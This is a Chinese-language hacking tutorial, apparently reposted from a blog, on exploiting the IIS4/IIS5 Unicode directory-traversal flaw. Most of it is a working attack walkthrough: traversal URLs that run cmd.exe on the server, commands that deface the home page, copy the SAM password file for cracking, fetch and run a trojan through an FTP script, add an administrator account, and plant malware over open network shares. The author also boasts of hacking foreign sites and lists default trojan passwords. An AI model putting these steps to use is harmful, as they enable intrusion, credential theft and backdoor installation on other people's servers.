IIS5 UNICODE 编码漏洞的利用心得

来源:互联网 发布:师洋的淘宝店怎么样 编辑:程序博客网 时间:2024/04/27 15:21

   大家一定都知道那个风光了非常久的iis5 unicode 编码漏洞吧。没办法,第一篇教程不知道写什么好,随便先凑合着, 

就写一下这个漏洞的攻击心得吧。 

1 首先我们来看看这个漏洞的原理。 
在中文版的iis4,和iss5中,存在一个bug,原因是unicode编码 存在bug 在unicode 编码中,发现了一个奇怪的编码方 
式, 

例如: 

%c1%hh %c0%hh (0x00〈= 0xhh 〈 0x40) 
iis 把 "%c1%hh" 编码成(0xc1 -0xc0) * 0x40 + 0xhh. 

例如 
(windows 2000 + iis 5.0 + sp1 简体中文版): 
http://192.168.8.48/a.ida/%c1%00.ida 
iis 将返回"@.ida" 未找到该文件 在这里 (0xc1-0xc0)*0x40+0x00=0x40=@ 

http://192.168.8.48/a.ida/%c1%01.ida 
iis 将返回 "a.ida" 未找到该文件 这里 (0xc1-0xc0)*0x40+0x01=0x41=a 

http://192.168.8.48/a.ida/%c1%02.ida 
iis 将返回 "b.ida" 未找到该文件 .... 

http://192.168.8.48/a.ida/%c0%21.ida 
iis 将返回 "!.ida" 未找到该文件 

这就意味着你能利用这些编码的特点。 

例如: 
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = / 
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = \ 

所以我们就能用这种方法进入一些目录。 

(1)http://192.168.8.48/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 

这样我们将得到 
directory of d:\inetpub\scripts 
2000-09-28 15:49 〈dir〉 
.   1999-07-21 17:49 147,456 
count.exe 2000-09-12 17:08 438,290 
count25.exe 2000-10-13 15:03 8,867 
counter.err 2000-08-23 23:07 160,002 
counter.exe 1999-05-25 18:14 3,925 
countnt.html 1999-07-21 17:49 64,512 
extdgts.exe 2000-08-10 15:24 46,352 
ism.dll 1999-07-21 17:49 64,512 
mkstrip.exe 1999-05-25 18:181,317 
readme.txt 2000-09-28 15:49 

〈dir〉 wcount 9 file(s) 935,233 bytes 


(2) 我们也能利用此bug得到一些系统文件的内容 
http://192.168.8.48/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini 
iis 将把他当作 a .asp 文件提交.他将让 asp.dll 来打开文件win.ini 
如果用 iis 4.0+sp6(中文版), 将不能测试成功 不过我们能用下列方法得到。 
http://192.168.8.100/default.asp/a.exe/..%c1%1c../..%c1%1c../winnt/winnt.ini 

"default.asp" 是个存在的 .asp 文件, "a.exe" 是个随机的 .exe 文件名. 他能不存在。 
打上sp1仍然更有这种编码问题。 

在英文版本中使用 %c1%af 能正常利用这个漏洞。 


2.了解了漏洞的周详资料。让我们来说说怎么利用。 
a.利用iisexploitsearcher这个软件,我们来找有这个漏洞的主机。 
虽然这个漏洞公开非常久了, 但你仍然会发现,你能找到非常多这种机器。 
如果我们已找到了一台有这个漏洞的机器。 

让我们来进行下面的操作。 

b.http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe 

这个url语句的执行的命令是:利用nt/2000下的命令解释程式cmd.exe来执行一个拷贝命令。 

copy c:\winnt\system32\cmd.exe ccc.exe 

他把c:\winnt\system32\cmd.exe 拷贝到了c:\inetpub\scripts\ccc.exe 

就是dos命令中的空格,在url中就要换成“+”号。 

你要执行copy c:\winnt\system32\cmd.exe ccc.exe 

相对应的是http://ip/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe 

其中/scripts/..%c1%1c../winnt/system32/cmd.exe?/c是固定的,他的作用是调用c:\winnt\system32\cmd.exe来执行命 
令。 


噢,忘了说为什么要拷贝cmd.exe了。 

因为微软的iis加载程式的时候检测到有串cmd.exe的话就要检测特别字符“&(,;%<>”,所以必须改名。 


c.这时c:\winnt\system32\cmd.exe已拷贝到了c:\inetpub\scripts\ccc.exe 

通过 

http://ip/scripts/ccc.exe?/c 

我们就能调用到cmd.exe了,就是说不用那个编码了。 

http://ip/scripts/ccc.exe?/c+echo+hacked+by+lion+>+c:\inetpub\wwwroot\default.asp 

http://192.168.8.48/scripts/ccc.exe?/c+echo+20/10/2000+>>+c:\inetpub\wwwroot\default.asp 

主页面就被修改成了: 

hacked by lion 

20/10/2000 

也就是说,已把他的主页黑了。 

:p 


下面是一些解释。 

其中echo 是个回显命令。 

你在dos下打一个echo hacked by lion 看看。 

他是在屏幕上显示 

hacked by lion 

不只这样 

你也能让他把东西写进一个文件。 

echo hacked by lion > lion.txt 

这样当前目录下的lion.txt文件里就有了hacked by lion的字样。 

其中 > lion.txt的用途是把回显的字符写进lion.txt,他覆盖原来的内容。 

你如果再想用echo 20/10/2000 > lion.txt 来写剩下的内容的话, 

你会发现他覆盖了原来的内容hacked by lion。 

怎么办呢?别急! 

echo hacked by lion > lion.txt 

echo 20/10/2000 >> lion.txt 

看看吧 

文件里面的是 

hacked by lion 

20/10/2000 

成功了。 

这样,就能用上面的解释,把空格用"+"代替,就能向别人的主页写所有东西了。 


补充一点 

好多站点\inetpub\下的scripts目录删除了, 但\program files\common files\system\下 的msadc还在 

(有msadcs.dll漏洞的话就不用 %c1%1c了)。 

这时能如下构造请求: 

http://ip/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ 

就能调用到cmd.exe 


3.当然,我们也不能只停留在黑主页的地步,当然想进一步控制整个机器了。 

:p 

下面来说说几种方法来控制这个机器。 

a. 如果c:\winnt\repair\sam._存在 

那么我们把copy c:\winnt\repair\sam._ c:\inetpub\wwwroot\ 

然后用浏览器下载,用破nt密码的工具,比如l0phtcrack来破。 


b.上载文件 

1.找一个ftp服务器,将须上载的文件copy 到ftp服务器上, 

假设这个 ftp server的 ip:127.1.1.1 ,username:abc,password:bbb 文件名:srv.exe 

2.编辑一个上载执行文件 

http://ip/scripts/ccc.exe?/c+echo+open+home4u.china.com>+up.txt 

http://ip/scripts/ccc.exe?/c+echo+pppppppppp>>+up.txt (>>号前不要有空格) 

http://ip/scripts/ccc.exe?/c+echo+pppppppppp>>+up.txt 

http://ip/scripts/ccc.exe?/c+echo+get srv.exe>>+up.txt 

http://ip/scripts/ccc.exe?/c+echo+quit>>+up.txt 

http://ip/scripts/ccc.exe?/c+tp+-s:up.txt 


如果你看不懂上面的命令。 

你在dos下打一个ftp /?看看。 

:p 

成功率非常高的哦。 


3.然后http://ip/scripts/srv.exe运行他。 

srv.exe是我放的一个冰河服务端。 

下面不用我说了吧。 

用冰河客户端连接他就能了。 

:p 

顺便说一下 

冰河的公用密码是: 

05181977 

他有70%左右的成功率。 

subseven的共用密码是: 

abuse 

4.当然你也能给他中一个nc99.exe等的东西。 

获取administrator权限 

上载getadmin.exe 

getadmin iusr_机器名 

这一招不一定有效哦。 

http:/ip/scripts/ccc.exe?/c+net+user+aaa+12345+/add 

http:/ip/scripts/ccc.exe?/c+net+localgroup+administrators+aaa+/add 


c. 当然我们也有其他方法来上传文件。 

前一段时间黑了几个台湾网站,net use也练得比较熟了。 

看到有一个类似的教程用net use。 

我也试了一下,累试不爽。呵呵 

找个中转站,利用net use来上传文件。 

我们要用到legion。 

legion是个扫描共享的软件。 

你通过用他,你会找到一大堆的蠢伙。把整个c.d盘共享,并且不用密码的。 

当然,设置密码也是没用的。呵呵猜26个字母就搞掂了。当然这要用另外一个软件。:p,在这就不说了。 

找到后c盘或d盘后, 

net use g: \\x.x.x.x\d 

把他的d映射成你的g:盘。 

目前我们来把东西拷贝到他的d盘,也就是你的g盘。 

copy e:\tools\srv.exe o:\ 

拷贝一个文件,随便你哦。:p 

你也能在我的计算机里把他拖过去就能了。:p 


操作完成就不管他了。 

让我们来回到服务器上操作。 

1 http://x.x.x.x/scripts/ccc.exe?/c+net+use+g:+\\10.1.1.1\d 

建立连接和映射。 

这个过程时间可能会长一点,耐心等等。 

2 http://x.x.x.x/scripts/ccc.exe?/c+dir+g: 

看看东西在不在哦:p 

然后 

3 http://x.x.x.x/scripts/ccc.exe?/c+g:\srv.exe 

直接运行就能了。 

:p 

又一个中了木马。 

但我不能确保他能100%成功哦。 


d.用tftp上传文件。 

但具体怎么用我没试过。:(

 

 

=> 听他忽悠的挺吓人的,没事试过不知道行不,不过看一下扩展一下思路倒是不错

 

原创粉丝点击